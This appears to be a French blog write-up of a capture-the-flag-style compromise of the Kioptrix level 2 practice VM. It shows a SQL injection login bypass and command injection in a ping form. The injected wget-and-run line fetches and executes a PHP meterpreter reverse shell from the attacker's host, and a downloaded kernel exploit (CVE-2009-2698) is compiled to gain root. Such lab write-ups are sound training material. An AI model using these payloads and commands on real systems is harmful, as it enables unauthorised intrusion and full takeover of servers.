Après avoir rushé la première VM Kioptrix, je me suis mis à la seconde. Mon approche n'est pas spécialement inédite, mais j'essaie d'expliquer mon raisonnement à chaque fois.
Comme la précédente, dans mon vmware je l'ai configurée pour être sur vmnet8. Je scanne donc la plage d'adresses IP accessibles sur mon interface vmnet8 et très vite je tombe sur :
Nmap scan report for 192.168.115.131
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
Un coup d'oeil rapide me dit que je n'aurai pas grand chose d'exploitable directement, en gardant de côté les vulns Apache, mais je me rappelle pas de vulnérabilités permettant l'exec de code arbitraire ces dernières années. Je vérifierai. Le reste, bien qu'un peu ancien ne me semble pas non plus exploitable directement.
Je regarde donc ce qui tourne sur le serveur http, j'obtiens une page de login. Je teste les grands classiques admin/admin & co puis j'arrive aux traditionnels auth bypass sql injection, bingo avec "admin" / ' or '1' = '1 (une liste sympathique à cet effet est disponible ici) et j'arrive sur une console d'admin un peu rustique me demandant une ip à pinger.
Là encore, habitué des interfaces web foireuses, par réflexe je mets un 127.0.0.1;id et j'obtiens ce que j'attends :
127.0.0.1;id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.105 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.036/0.062/0.105/0.031 ms, pipe 2
uid=48(apache) gid=48(apache) groups=48(apache)
Pour gagner du temps je me génère un meterpreter en php avec msfpayload :
$ ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.115.1 R > /tmp/shell.php
Je vire le petit '#' au début pour ne pas me faire niquer, et je prépare un handler sur ma machine pour réceptionner la connexion le moment venu :
$ ./msfcli exploit/multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.115.1 E
[*] Initializing modules...
[*] Processing XXX/msfconsole.rc for ERB directives.
resource (XXX)> db_connect -y XXX/config/database.yml.meik
[*] Rebuilding the module cache in the background...
resource (XXX/msfconsole.rc)> workspace -a MeiK
[*] Added workspace: XXX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.115.1
[*] Started reverse handler on 192.168.115.1:4444
[*] Starting the payload handler...
On va donc récupérer le webshell depuis l'interface web du site foireux et l'exécuter :
Je lance un netcat pour servir le fichier :
nc -l -p 8080 < /tmp/shell.php
Et sur l'interface web je saisis cette commande :
127.0.0.1;wget 192.168.115.1:8080 -O /tmp/shell.php; php -f /tmp/shell.php
Qui file un paramètre au ping (en vrai on s'en fout), et exécute un wget pour récupérer le shell afin de le sauvegarder dans /tmp/shell.php et exécute ce fichier à l'aide de l'interpréteur php disponible sur la machine.
Pendant ce temps, sur un autre terminal :
[*] Sending stage (39848 bytes) to 192.168.115.131
[*] Meterpreter session 1 opened (192.168.115.1:4444 -> 192.168.115.131:32779) at 2014-06-11 23:58:50 +0200
meterpreter >
Comme vu au dessus, on a pas de super privilèges :
meterpreter > getuid
Server username: apache (48)
On va donc tenter de passer root. Pour ça, on regarde la version du kernel, soit à l'ancienne avec uname -sr, soit on se rappelle qu'on est en 2014 et que meterpreter intègre "sysinfo" :
meterpreter > sysinfo
Computer : kioptrix.level2
OS : Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686
Meterpreter : php/php
On utilise donc le script "Linux Exploit Suggester" en lui disant qu'on veut un exploit kernel 2.6.9 :
Kernel local: 2.6.9
Searching among 65 exploits...
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] exp.sh
[+] half_nelson
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] krad
[+] krad3
Source: http://exploit-db.com/exploits/1397
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] py2
[+] sock_sendpage
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[+] sock_sendpage2
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[+] udp_sendmsg_32bit
CVE-2009-2698
Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/
Certains d'entre eux ont un peu trop d'exigences, on veut du rapide. On récupère donc le sploit correspondant à la CVE-2009-2698, on le compile et on l'exécute :
cd /tmp
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
--23:20:49-- http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
=> `36108.c'
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]
0K .. 100% 394.37 KB/s
23:20:50 (394.37 KB/s) - `36108.c' saved [2507/2507]
gcc 36108.c -o sploit
./sploit
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00#
